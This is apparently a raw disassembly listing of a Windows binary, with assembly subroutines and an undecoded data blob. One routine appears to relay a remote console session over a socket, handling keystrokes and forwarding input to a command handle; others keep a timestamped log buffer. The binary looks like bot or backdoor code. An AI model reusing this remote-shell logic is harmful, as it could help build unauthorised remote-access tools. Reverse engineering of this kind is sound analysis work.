loc_41697F:				; CODE XREF: sub_4168DF+76j
		and	[ebp+var_D4], 0
		movsx	eax, [ebp+var_D8]
		cmp	eax, 8
		jz	short loc_41699E
		movsx	eax, [ebp+var_D8]
		cmp	eax, 7Fh
		jnz	short loc_416A0A


loc_41699E:				; CODE XREF: sub_4168DF+B1j
		cmp	[ebp+var_EC], 0
		jbe	short loc_416A05
		mov	eax, [ebp+var_EC]
		dec	eax
		mov	[ebp+var_EC], eax
		mov	eax, [ebp+var_D4]
		mov	[ebp+eax+var_E0], 8
		mov	eax, [ebp+var_D4]
		inc	eax
		mov	[ebp+var_D4], eax
		mov	eax, [ebp+var_D4]
		mov	[ebp+eax+var_E0], 20h
		mov	eax, [ebp+var_D4]
		inc	eax
		mov	[ebp+var_D4], eax
		mov	eax, [ebp+var_D4]
		mov	[ebp+eax+var_E0], 8
		mov	eax, [ebp+var_D4]
		inc	eax
		mov	[ebp+var_D4], eax


loc_416A05:				; CODE XREF: sub_4168DF+C6j
		jmp	loc_416B65
; ---------------------------------------------------------------------------


loc_416A0A:				; CODE XREF: sub_4168DF+BDj
		movsx	eax, [ebp+var_D8]
		cmp	eax, 3
		jnz	short loc_416A25
		push	0
		push	0
		nop
		call	near ptr 28B0000h
		jmp	loc_416B65
; ---------------------------------------------------------------------------


loc_416A25:				; CODE XREF: sub_4168DF+135j
		movsx	eax, [ebp+var_D8]
		cmp	eax, 15h
		jnz	loc_416AE3
		and	[ebp+var_EC], 0
		mov	eax, [ebp+var_D4]
		mov	[ebp+eax+var_E0], 20h
		mov	eax, [ebp+var_D4]
		inc	eax
		mov	[ebp+var_D4], eax
		mov	eax, [ebp+var_D4]
		mov	[ebp+eax+var_E0], 58h
		mov	eax, [ebp+var_D4]
		inc	eax
		mov	[ebp+var_D4], eax
		mov	eax, [ebp+var_D4]
		mov	[ebp+eax+var_E0], 58h
		mov	eax, [ebp+var_D4]
		inc	eax
		mov	[ebp+var_D4], eax
		mov	eax, [ebp+var_D4]
		mov	[ebp+eax+var_E0], 58h
		mov	eax, [ebp+var_D4]
		inc	eax
		mov	[ebp+var_D4], eax
		mov	eax, [ebp+var_D4]
		mov	[ebp+eax+var_E0], 0Dh
		mov	eax, [ebp+var_D4]
		inc	eax
		mov	[ebp+var_D4], eax
		mov	eax, [ebp+var_D4]
		mov	[ebp+eax+var_E0], 0Ah
		mov	eax, [ebp+var_D4]
		inc	eax
		mov	[ebp+var_D4], eax
		jmp	loc_416B65
; ---------------------------------------------------------------------------


loc_416AE3:				; CODE XREF: sub_4168DF+150j
		mov	eax, [ebp+var_D4]
		mov	cl, [ebp+var_D8]
		mov	[ebp+eax+var_E0], cl
		mov	eax, [ebp+var_EC]
		mov	cl, [ebp+var_D8]
		mov	[ebp+eax+var_CC], cl
		mov	eax, [ebp+var_EC]
		inc	eax
		mov	[ebp+var_EC], eax
		mov	eax, [ebp+var_D4]
		inc	eax
		mov	[ebp+var_D4], eax
		movsx	eax, [ebp+var_D8]
		cmp	eax, 0Dh
		jnz	short loc_416B65
		mov	eax, [ebp+var_D4]
		mov	[ebp+eax+var_E0], 0Ah
		mov	eax, [ebp+var_EC]
		mov	[ebp+eax+var_CC], 0Ah
		mov	eax, [ebp+var_EC]
		inc	eax
		mov	[ebp+var_EC], eax
		mov	eax, [ebp+var_D4]
		inc	eax
		mov	[ebp+var_D4], eax


loc_416B65:				; CODE XREF: sub_4168DF:loc_416A05j
					; sub_4168DF+141j ...
		cmp	[ebp+var_D4], 0
		jbe	short loc_416B92
		push	0
		push	[ebp+var_D4]
		lea	eax, [ebp+var_E0]
		push	eax
		mov	eax, [ebp+var_E8]
		push	dword ptr [eax+0Ch]
		call	dword_4E1750	; send
		test	eax, eax
		jg	short loc_416B92
		jmp	short locret_416BD2
; ---------------------------------------------------------------------------


loc_416B92:				; CODE XREF: sub_4168DF+28Dj
					; sub_4168DF+2AFj
		movsx	eax, [ebp+var_D8]
		cmp	eax, 0Dh
		jnz	short loc_416BCD
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_EC]
		lea	eax, [ebp+var_CC]
		push	eax
		mov	eax, [ebp+var_E8]
		push	dword ptr [eax+4]
		call	near ptr 28407DDh
		nop
		test	eax, eax
		jnz	short loc_416BC6
		jmp	short locret_416BD2
; ---------------------------------------------------------------------------


loc_416BC6:				; CODE XREF: sub_4168DF+2E3j
		and	[ebp+var_EC], 0


loc_416BCD:				; CODE XREF: sub_4168DF+2BDj
		jmp	loc_416906
; ---------------------------------------------------------------------------

locret_416BD2:				; CODE XREF: sub_4168DF+43j
					; sub_4168DF+2B1j ...
		leave
		retn
sub_4168DF	endp

; ---------------------------------------------------------------------------
dword_416BD4	dd 81EC8B55h, 8A4ECh, 0C7575600h, 0FFFD2C85h, 1FFh, 0F845C700h
					; DATA XREF: sub_4021E5+3998o
		dd 1, 44C40CBEh, 48BD8D00h, 0A5FFFFFDh,	45C7A566h, 1FCh
		dd 8758B00h, 0A9B9h, 54BD8D00h,	0F3FFFFFDh, 8458BA5h, 0FD508589h
		dd 858BFFFFh, 0FFFFFD50h, 2A080C7h, 10000h, 858B0000h
		dd 0FFFFFF64h, 64858940h, 6AFFFFFFh, 6A026A00h,	8015FF02h
		dd 89004E17h, 0FFFD3085h, 30BD83FFh, 0FFFFFFFDh, 90685375h
		dd 90000001h, 399829E8h, 0F07D8302h, 6A217500h,	0EC75FF00h
		dd 0FAAC858Dh, 8D50FFFFh, 0FFFF6C85h, 0B5FF50FFh, 0FFFFFD54h
		dd 0FF438AE8h, 14C483FFh, 0FAAC858Dh, 0E850FFFFh, 748h
		dd 60B5FF59h, 0E8FFFFFFh, 0FFFF6B62h, 0E8006A59h, 2419358h
		dd 8D046A90h, 0FFFD2C85h, 46A50FFh, 0FFFF68h, 30B5FF00h
		dd 0FFFFFFFDh, 4E16E015h, 8D046A00h, 6A50F845h,	0FFFF68FBh
		dd 0B5FF0000h, 0FFFFFD30h, 16E015FFh, 858B004Eh, 0FFFFFF60h
		dd 234C069h, 8D8B0000h,	0FFFFFD30h, 46248889h, 106A0045h
		dd 858D006Ah, 0FFFFFA9Ch, 0A70AE850h, 0C4830000h, 85C7660Ch
		dd 0FFFFFA9Ch, 0B5FF0002h, 0FFFFFF68h, 170015FFh, 8966004Eh
		dd 0FFFA9E85h, 0A0A583FFh, 0FFFFFAh, 858D106Ah,	0FFFFFA9Ch
		dd 30B5FF50h, 0FFFFFFFDh, 4E172C15h, 0FFF88300h, 88682575h
		dd 90000013h, 399739E8h, 64858B02h, 48FFFFFFh, 0FF648589h
		dd 75FFFFFFh, 0FE6EE808h, 0FE9FFFFh, 68000005h,	44C414h
		dd 0FD58858Dh, 0E850FFFFh, 0A674h, 85895959h, 0FFFFFA98h
		dd 0FA98BD83h, 7500FFFFh, 190684Dh, 0E8900000h,	23996F2h
		dd 75FF006Ah, 0AC858DECh, 50FFFFFAh, 0FF6C858Dh, 0FF50FFFFh
		dd 0FFFD54B5h, 4259E8FFh, 0C483FFFFh, 0AC858D14h, 50FFFFFAh
		dd 617E8h, 0B5FF5900h, 0FFFFFF60h, 0FF6A31E8h, 6A59FFh
		dd 419227E8h, 7D839002h, 8E0F00FCh, 43Bh, 0FD50858Bh, 0B883FFFFh
		dd 2A0h, 28840F00h, 83000004h, 0FFFA98BDh, 840F00FFh, 41Bh
		dd 0F98C85C7h, 5FFFFh, 85C70000h, 0FFFFF990h, 1388h, 0F994A583h
		dd 8300FFFFh, 0FFF988A5h, 0DEB00FFh, 0F988858Bh, 8940FFFFh
		dd 0FFF98885h, 88858BFFh, 3BFFFFF9h, 0FFF99485h, 8B1973FFh
		dd 0FFF98885h, 85848BFFh, 0FFFFF998h, 0FD30853Bh, 275FFFFh
		dd 0CCEB02EBh, 0F988858Bh, 853BFFFFh, 0FFFFF994h, 0BD832975h
		dd 0FFFFF994h, 8B207340h, 0FFF98885h, 308D8BFFh, 89FFFFFDh
		dd 0F998858Ch, 858BFFFFh, 0FFFFF994h, 94858940h, 33FFFFF9h
		dd 75C085C0h, 806886h, 6A0000h,	0FCAC858Dh, 0E850FFFFh
		dd 0A564h, 8D0CC483h, 0FFF98C85h, 6A50FFh, 858D006Ah, 0FFFFF994h
		dd 0FF006A50h, 4E16E815h, 0FC08500h, 3448Eh, 7085C700h
		dd 10FFFFF7h, 0A0000000h, 4E45ACh, 0F7848588h, 80B9FFFFh
		dd 33000000h, 85BD8DC0h, 0F3FFFFF7h, 0AAAB66ABh, 0F770858Dh
		dd 8D50FFFFh, 0FFF77485h, 6A50FFh, 8068h, 0AC858D00h, 50FFFFFCh
		dd 0FD30B5FFh, 15FFFFFFh, 4E16D8h, 0FFFC4589h, 0FFF778B5h
		dd 8C15FFFFh, 50004E17h, 0FD34858Dh, 0E850FFFFh, 0AA84h
		dd 0BE0F5959h, 0FFFCAC85h, 0FC085FFh, 11D85h, 85BE0F00h
		dd 0FFFFFCADh, 0F01F883h, 10D85h, 0AC858D00h, 89FFFFFCh
		dd 0FFF76C85h, 0AC858DFFh, 89FFFFFCh, 0FFF76885h, 6C858BFFh
		dd 40FFFFF7h, 6C858940h, 8DFFFFF7h, 0FFFE5C85h,	41E850FFh
		dd 5900007Ch, 0F7688D8Bh, 448DFFFFh, 85890301h,	0FFFFF768h
		dd 6A006Ah, 0FA98B5FFh,	31E8FFFFh, 830000CDh, 0A5800CC4h
		dd 0FFFFF784h, 8585C600h, 3FFFFF7h, 0F786A580h,	0C600FFFFh
		dd 0FFF78785h, 0B5FF01FFh, 0FFFFFA98h, 20068h, 8D016A00h
		dd 0FFF78885h, 0F9E850FFh, 830000A0h, 458910C4h, 70B5FFFCh
		dd 8DFFFFF7h, 0FFF77485h, 6A50FFh, 83FC458Bh, 8D5004C0h
		dd 0FFF78485h, 0B5FF50FFh, 0FFFFFD30h, 176415FFh, 858D004Eh
		dd 0FFFFFD34h, 0C4186850h, 858D0044h, 0FFFFFAACh, 0A992E850h
		dd 0C4830000h, 0F07D830Ch, 6A217500h, 0EC75FF00h, 0FAAC858Dh
		dd 8D50FFFFh, 0FFFF6C85h, 0B5FF50FFh, 0FFFFFD54h, 0FF3FBAE8h
		dd 14C483FFh, 0FAAC858Dh, 0E850FFFFh, 378h, 1A9E959h, 0BE0F0000h
		dd 0FFFCAC85h, 0FC085FFh, 17885h, 85BE0F00h, 0FFFFFCADh
		dd 0F04F883h, 16885h, 0AE858A00h, 88FFFFFCh, 0FFF75C85h
		dd 0AF858AFFh, 88FFFFFCh, 0FFF76485h, 84A580FFh, 0FFFFF7h
		dd 0F78585C6h, 0F03FFFFh, 0F76485B6h, 0FF3DFFFFh, 75000000h
		dd 5C858A2Fh, 4FFFFF7h,	5C858801h, 8AFFFFF7h, 0FFF75C85h
		dd 868588FFh, 80FFFFF7h, 0FFF764A5h, 858A00FFh,	0FFFFF764h
		dd 0F7878588h, 26EBFFFFh, 0F75C858Ah, 8588FFFFh, 0FFFFF786h
		dd 0F764858Ah, 104FFFFh, 0F7648588h, 858AFFFFh,	0FFFFF764h
		dd 0F7878588h, 0B60FFFFFh, 0FFF75C85h, 8E0C1FFh, 648DB60Fh
		dd 8DFFFFF7h, 89FF0844h, 0FFF76085h, 8B006AFFh,	0FFF76085h
		dd 9E0C1FFh, 98B5FF50h,	0E8FFFFFAh, 0CB9Ch, 0FF0CC483h
		dd 0FFFA98B5h, 20068FFh, 16A0000h, 0F788858Dh, 0E850FFFFh
		dd 9F80h, 8910C483h, 0B5FFFC45h, 0FFFFF770h, 0F774858Dh
		dd 6A50FFFFh, 0FC458B00h, 5004C083h, 0F784858Dh, 0FF50FFFFh
		dd 0FFFD30B5h, 6415FFFFh, 83004E17h, 7500FC7Dh,	34858D5Ah
		dd 50FFFFFDh, 44C43868h, 0AC858D00h, 50FFFFFAh,	0A813E8h
		dd 0CC48300h, 0F07D83h,	6A2175h, 8DEC75FFh, 0FFFAAC85h
		dd 858D50FFh, 0FFFFFF6Ch, 54B5FF50h, 0E8FFFFFDh, 0FFFF3E3Bh
		dd 8D14C483h, 0FFFAAC85h, 0F9E850FFh, 59000001h, 4E421CA1h
		dd 1CA34000h, 0EB004E42h, 70B5FF22h, 8DFFFFF7h,	0FFF77485h
		dd 6A50FFh, 5868096Ah, 0FF0044C4h, 0FFFD30B5h, 6415FFFFh
		dd 0EB004E17h, 0FBC0E905h, 0BBE9FFFFh, 0FFFFFFFBh, 0FFFD30B5h
		dd 9815FFFFh, 0FF004E17h, 0FFFA98B5h, 7A1AE8FFh, 8B590000h
		dd 0FFFF6485h, 858948FFh, 0FFFFFF64h, 0FD50858Bh, 0B883FFFFh
		dd 2A0h, 0FF147500h, 0FFFF60B5h, 65A4E8FFh, 6A59FFFFh
		dd 99E89000h, 6802418Dh, 3E8h, 399219E8h, 75FF9002h, 0F95AE808h
		dd 5E5FFFFFh, 4C2C9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417280	proc near		; CODE XREF: sub_4021E5+631Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_417291
; ---------------------------------------------------------------------------


loc_41728A:				; CODE XREF: sub_417280:loc_417332j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_417291:				; CODE XREF: sub_417280+8j
		cmp	[ebp+var_4], 10h
		jge	loc_417337
		mov	eax, [ebp+var_4]
		imul	eax, 0B8h
		movsx	eax, byte_453898[eax]
		test	eax, eax
		jz	short loc_4172CC
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		imul	eax, 0B8h
		add	eax, offset byte_453898
		push	eax
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_417332


loc_4172CC:				; CODE XREF: sub_417280+2Dj
		push	0B8h
		push	0
		mov	eax, [ebp+var_4]
		imul	eax, 0B8h
		add	eax, offset byte_453898
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	17h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		imul	eax, 0B8h
		add	eax, offset byte_453898
		push	eax
		call	sub_421470
		add	esp, 0Ch
		push	9Fh
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		imul	eax, 0B8h
		add	eax, offset dword_4538B0
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	eax, dword_4414AC
		inc	eax
		mov	dword_4414AC, eax
		jmp	short loc_417337
; ---------------------------------------------------------------------------


loc_417332:				; CODE XREF: sub_417280+4Aj
		jmp	loc_41728A
; ---------------------------------------------------------------------------


loc_417337:				; CODE XREF: sub_417280+15j
					; sub_417280+B0j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_417280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41733C	proc near		; CODE XREF: sub_4021E5+2926p

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	0
		push	[ebp+arg_8]
		push	offset dword_44C464
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		and	[ebp+var_4], 0
		jmp	short loc_41736A
; ---------------------------------------------------------------------------


loc_417363:				; CODE XREF: sub_41733C:loc_4173D8j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_41736A:				; CODE XREF: sub_41733C+25j
		cmp	[ebp+var_4], 10h
		jge	short locret_4173DA
		mov	eax, [ebp+var_4]
		imul	eax, 0B8h
		movsx	eax, byte_453898[eax]
		test	eax, eax
		jz	short loc_4173D8
		mov	eax, [ebp+var_4]
		imul	eax, 0B8h
		add	eax, offset dword_4538B0
		push	eax
		mov	eax, [ebp+var_4]
		imul	eax, 0B8h
		add	eax, offset byte_453898
		push	eax
		push	[ebp+var_4]
		push	offset dword_44C478
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_421B90
		add	esp, 18h
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_204]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_4173D8:				; CODE XREF: sub_41733C+46j
		jmp	short loc_417363
; ---------------------------------------------------------------------------

locret_4173DA:				; CODE XREF: sub_41733C+32j
		leave
		retn
sub_41733C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4173DC	proc near		; CODE XREF: sub_4016A7+43Cp
					; sub_4016A7+4E5p ...

var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_10]
		push	eax
		call	near ptr 28B0217h
		nop
		mov	[ebp+var_14], 80h
		jmp	short loc_4173FC
; ---------------------------------------------------------------------------


loc_4173F5:				; CODE XREF: sub_4173DC:loc_417436j
		mov	eax, [ebp+var_14]
		dec	eax
		mov	[ebp+var_14], eax


loc_4173FC:				; CODE XREF: sub_4173DC+17j
		cmp	[ebp+var_14], 0
		jl	short loc_417438
		mov	eax, [ebp+var_14]
		shl	eax, 7
		movsx	eax, byte_4E45B0[eax]
		test	eax, eax
		jz	short loc_417436
		push	7Fh
		mov	eax, [ebp+var_14]
		shl	eax, 7
		add	eax, offset byte_4E45B0
		push	eax
		mov	eax, [ebp+var_14]
		inc	eax
		shl	eax, 7
		add	eax, offset byte_4E45B0
		push	eax
		call	sub_421470
		add	esp, 0Ch


loc_417436:				; CODE XREF: sub_4173DC+35j
		jmp	short loc_4173F5
; ---------------------------------------------------------------------------


loc_417438:				; CODE XREF: sub_4173DC+24j
		push	[ebp+arg_0]
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset byte_4E45B0
		call	sub_421B90
		add	esp, 28h
		leave
		retn
sub_4173DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417472	proc near		; CODE XREF: sub_401DEC+149p
					; sub_4021E5+902p ...

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_84], eax
		push	[ebp+var_84]
		push	[ebp+arg_0]
		push	80h
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_422920
		add	esp, 10h
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4173DC
		pop	ecx
		leave
		retn
sub_417472	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	dword ptr [ebp-4], 80h
		and	dword ptr [ebp-8], 0
		cmp	dword ptr [ebp+14h], 0
		jnz	short loc_4174D9
		push	0
		push	dword ptr [ebp+10h]
		push	offset dword_44C4B0
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B00F
		add	esp, 14h


loc_4174D9:				; CODE XREF: .XComp0:004174BFj
		cmp	dword ptr [ebp+18h], 0
		jz	short loc_4174F7
		push	dword ptr [ebp+18h]
		call	sub_421670
		pop	ecx
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	short loc_4174F7
		mov	eax, [ebp-8]
		mov	[ebp-4], eax


loc_4174F7:				; CODE XREF: .XComp0:004174DDj
					; .XComp0:004174EFj
		and	dword ptr [ebp-0Ch], 0
		and	dword ptr [ebp-10h], 0
		jmp	short loc_41750F
; ---------------------------------------------------------------------------


loc_417501:				; CODE XREF: .XComp0:loc_41759Bj
		mov	eax, [ebp-0Ch]
		inc	eax
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-10h]
		inc	eax
		mov	[ebp-10h], eax


loc_41750F:				; CODE XREF: .XComp0:004174FFj
		cmp	dword ptr [ebp-0Ch], 80h
		jge	locret_4175A0
		mov	eax, [ebp-10h]
		cmp	eax, [ebp-4]
		jge	short locret_4175A0
		mov	eax, [ebp-0Ch]
		shl	eax, 7
		movsx	eax, byte_4E45B0[eax]
		test	eax, eax
		jz	short loc_41759B
		cmp	dword ptr [ebp+18h], 0
		jz	short loc_417541
		cmp	dword ptr [ebp-8], 0
		jz	short loc_417562


loc_417541:				; CODE XREF: .XComp0:00417539j
		push	1
		push	dword ptr [ebp+10h]
		mov	eax, [ebp-0Ch]
		shl	eax, 7
		add	eax, offset byte_4E45B0
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B00F
		add	esp, 14h
		jmp	short loc_41759B
; ---------------------------------------------------------------------------


loc_417562:				; CODE XREF: .XComp0:0041753Fj
		push	dword ptr [ebp+18h]
		mov	eax, [ebp-0Ch]
		shl	eax, 7
		add	eax, offset byte_4E45B0
		push	eax
		call	sub_41A46C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41759B
		push	1
		push	dword ptr [ebp+10h]
		mov	eax, [ebp-0Ch]
		shl	eax, 7
		add	eax, offset byte_4E45B0
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B00F
		add	esp, 14h


loc_41759B:				; CODE XREF: .XComp0:00417533j
					; .XComp0:00417560j ...
		jmp	loc_417501
; ---------------------------------------------------------------------------

locret_4175A0:				; CODE XREF: .XComp0:00417516j
					; .XComp0:00417522j
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175A2	proc near		; CODE XREF: sub_4021E5+2B0Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_4175C0
; ---------------------------------------------------------------------------


loc_4175AC:				; CODE XREF: sub_4175A2+27j
		mov	eax, [ebp+var_4]
		shl	eax, 7
		and	byte_4E45B0[eax], 0
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4175C0:				; CODE XREF: sub_4175A2+8j
		cmp	[ebp+var_4], 80h
		jge	short loc_4175CB
		jmp	short loc_4175AC
; ---------------------------------------------------------------------------


loc_4175CB:				; CODE XREF: sub_4175A2+25j
		cmp	[ebp+arg_C], 0
		jnz	short loc_4175E9
		push	0
		push	[ebp+arg_8]
		push	offset dword_44C4BC
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_4175E9:				; CODE XREF: sub_4175A2+2Dj
		push	offset dword_44C4D0
		call	sub_4173DC
		pop	ecx
		leave
		retn
sub_4175A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175F6	proc near		; CODE XREF: sub_41104D+445p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_417607
; ---------------------------------------------------------------------------


loc_417600:				; CODE XREF: sub_4175F6:loc_417640j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_417607:				; CODE XREF: sub_4175F6+8j
		cmp	[ebp+var_4], 80h
		jge	short loc_417642
		mov	eax, [ebp+var_4]
		shl	eax, 7
		movsx	eax, byte_4E45B0[eax]
		test	eax, eax
		jz	short loc_417640
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		shl	eax, 7
		add	eax, offset byte_4E45B0
		push	eax
		call	sub_41A46C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_417640
		push	1
		pop	eax
		jmp	short locret_417644
; ---------------------------------------------------------------------------


loc_417640:				; CODE XREF: sub_4175F6+29j
					; sub_4175F6+43j
		jmp	short loc_417600
; ---------------------------------------------------------------------------


loc_417642:				; CODE XREF: sub_4175F6+18j
		xor	eax, eax

locret_417644:				; CODE XREF: sub_4175F6+48j
		leave
		retn
sub_4175F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417646	proc near		; DATA XREF: sub_4021E5+2A5Bo

var_328		= byte ptr -328h
var_128		= dword	ptr -128h
var_124		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 328h
		push	esi
		push	edi
		mov	[ebp+var_4], 80h
		and	[ebp+var_8], 0
		mov	esi, [ebp+arg_0]
		push	45h
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax+110h], 1
		cmp	[ebp+var_1C], 0
		jnz	short loc_4176A2
		push	0
		push	[ebp+var_20]
		push	offset dword_44C4E4
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_128]
		call	sub_40B00F
		add	esp, 14h


loc_4176A2:				; CODE XREF: sub_417646+3Bj
		movsx	eax, [ebp+var_A4]
		test	eax, eax
		jz	short loc_4176C9
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_421670
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4176C9
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax


loc_4176C9:				; CODE XREF: sub_417646+65j
					; sub_417646+7Bj
		and	[ebp+var_10], 0
		and	[ebp+var_14], 0
		jmp	short loc_4176E1
; ---------------------------------------------------------------------------


loc_4176D3:				; CODE XREF: sub_417646:loc_417788j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_4176E1:				; CODE XREF: sub_417646+8Bj
		cmp	[ebp+var_10], 80h
		jge	loc_41778D
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_4]
		jge	loc_41778D
		mov	eax, [ebp+var_10]
		shl	eax, 7
		movsx	eax, byte_4E45B0[eax]
		test	eax, eax
		jz	short loc_417788
		movsx	eax, [ebp+var_A4]
		test	eax, eax
		jz	short loc_41771C
		cmp	[ebp+var_8], 0
		jz	short loc_417744


loc_41771C:				; CODE XREF: sub_417646+CEj
		push	1
		push	[ebp+var_20]
		mov	eax, [ebp+var_10]
		shl	eax, 7
		add	eax, offset byte_4E45B0
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_128]
		call	sub_40B00F
		add	esp, 14h
		jmp	short loc_417788
; ---------------------------------------------------------------------------


loc_417744:				; CODE XREF: sub_417646+D4j
		lea	eax, [ebp+var_A4]
		push	eax
		mov	eax, [ebp+var_10]
		shl	eax, 7
		add	eax, offset byte_4E45B0
		push	eax
		call	sub_41A46C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_417788
		push	1
		push	[ebp+var_20]
		mov	eax, [ebp+var_10]
		shl	eax, 7
		add	eax, offset byte_4E45B0
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_128]
		call	sub_40B00F
		add	esp, 14h


loc_417788:				; CODE XREF: sub_417646+C3j
					; sub_417646+FCj ...
		jmp	loc_4176D3
; ---------------------------------------------------------------------------


loc_41778D:				; CODE XREF: sub_417646+A2j
					; sub_417646+AEj
		push	offset dword_44C500
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		cmp	[ebp+var_1C], 0
		jnz	short loc_4177C7
		push	0
		push	[ebp+var_20]
		lea	eax, [ebp+var_328]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_128]
		call	sub_40B00F
		add	esp, 14h


loc_4177C7:				; CODE XREF: sub_417646+15Ej
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	[ebp+var_24]
		call	sub_40D802
		pop	ecx
		push	0
		call	near ptr 2830000h
		nop
		pop	edi
		pop	esi
		leave
		retn	4
sub_417646	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177EB	proc near		; CODE XREF: sub_4021E5+5CD9p

var_490		= dword	ptr -490h
var_48C		= byte ptr -48Ch
var_8C		= word ptr -8Ch
var_8A		= dword	ptr -8Ah
var_86		= word ptr -86h
var_84		= word ptr -84h
var_82		= dword	ptr -82h
var_7C		= byte ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= word ptr -68h
var_66		= word ptr -66h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
